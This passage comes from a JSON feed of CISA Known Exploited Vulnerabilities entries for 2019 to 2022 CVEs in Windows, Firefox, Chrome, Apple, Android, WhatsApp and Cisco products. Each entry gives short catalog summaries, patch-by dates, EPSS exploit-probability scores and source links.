Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01719,"percentile":0.7729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1130","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1130 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11707","cveId":"CVE-2019-11707","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox and Thunderbird Type Confusion Vulnerability","summary":"Mozilla Firefox and Thunderbird contain a type confusion vulnerability that can occur when manipulating JavaScript objects due to issues in Array.pop, allowing for an exploitable crash.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37696,"percentile":0.98528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11707","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11707 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11708","cveId":"CVE-2019-11708","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox and Thunderbird Sandbox Escape Vulnerability","summary":"Mozilla Firefox and Thunderbird contain a sandbox escape vulnerability that could result in remote code execution.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55874,"percentile":0.99037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11708","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11708 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-13720","cveId":"CVE-2019-13720","aliases":[],"kind":"vulnerability","title":"Google Chrome WebAudio Use-After-Free Vulnerability","summary":"Google Chrome WebAudio contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chrome WebAudio","stacks":["Google Chrome","Google","Chrome WebAudio"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.49421,"percentile":0.98882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-13720&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-13720","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-13720 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-13720&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-13720, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1385","cveId":"CVE-2019-1385","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Deployment Extensions Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows AppX Deployment Extensions improperly performs privilege management, resulting in access to system files.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03604,"percentile":0.89388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1385&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1385","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1385 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1385&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1385, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-18426","cveId":"CVE-2019-18426","aliases":[],"kind":"vulnerability","title":"WhatsApp Cross-Site Scripting Vulnerability","summary":"A vulnerability in WhatsApp Desktop when paired with WhatsApp for iPhone allows cross-site scripting and local file reading.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Meta Platforms","product":"WhatsApp","stacks":["Meta Platforms","WhatsApp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67859,"percentile":0.99314,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-18426&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-18426","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-18426 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-18426&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-18426, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-5786","cveId":"CVE-2019-5786","aliases":[],"kind":"vulnerability","title":"Google Chrome Blink Use-After-Free Vulnerability","summary":"Google Chrome Blink contains a heap use-after-free vulnerability that allows an attacker to potentially perform out of bounds memory access via a crafted HTML page.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chrome Blink","stacks":["Google Chrome","Google","Chrome Blink"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61085,"percentile":0.99152,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-5786&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-5786","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-5786 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-5786&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-5786, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7286","cveId":"CVE-2019-7286","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for privilege escalation.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15939,"percentile":0.96873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7286","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7286 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7287","cveId":"CVE-2019-7287","aliases":[],"kind":"vulnerability","title":"Apple iOS Memory Corruption Vulnerability","summary":"Apple iOS contains a memory corruption vulnerability which could allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04579,"percentile":0.91563,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-8720","cveId":"CVE-2019-8720","aliases":[],"kind":"vulnerability","title":"WebKitGTK Memory Corruption Vulnerability","summary":"WebKitGTK contains a memory corruption vulnerability which can allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"WebKitGTK","product":"WebKitGTK","stacks":["WebKitGTK"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01556,"percentile":0.74996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-8720&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-8720","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-8720 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-8720&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-8720, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0638","cveId":"CVE-2020-0638","aliases":[],"kind":"vulnerability","title":"Microsoft Update Notification Manager Privilege Escalation Vulnerability","summary":"Microsoft Update Notification Manager contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Update Notification Manager","stacks":["Microsoft","Update Notification Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0237,"percentile":0.83709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0638","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0638 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1027","cveId":"CVE-2020-1027","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04723,"percentile":0.91771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1027&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1027","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1027 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1027&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1027, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-0920","cveId":"CVE-2021-0920","aliases":[],"kind":"vulnerability","title":"Android Kernel Race Condition Vulnerability","summary":"Android kernel contains a race condition, which allows for a use-after-free vulnerability. Exploitation can allow for privilege escalation.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Kernel","stacks":["Android","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00867,"percentile":0.58465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-0920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-0920","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-0920 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-0920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-0920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1048","cveId":"CVE-2021-1048","aliases":[],"kind":"vulnerability","title":"Android Kernel Use-After-Free Vulnerability","summary":"Android kernel contains a use-after-free vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Kernel","stacks":["Android","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01058,"percentile":0.64238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1048&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1048","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1048 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1048&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1048, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30883","cveId":"CVE-2021-30883","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for remote code execution.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14721,"percentile":0.96648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30883","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30883 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20821","cveId":"CVE-2022-20821","aliases":[],"kind":"vulnerability","title":"Cisco IOS XR Open Port Vulnerability","summary":"Cisco IOS XR software health check opens TCP port 6379 by default on activation. An attacker can connect to the Redis instance on the open port and allow access to the Redis instance that is running within the NOSi container.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XR","stacks":["Cisco","IOS 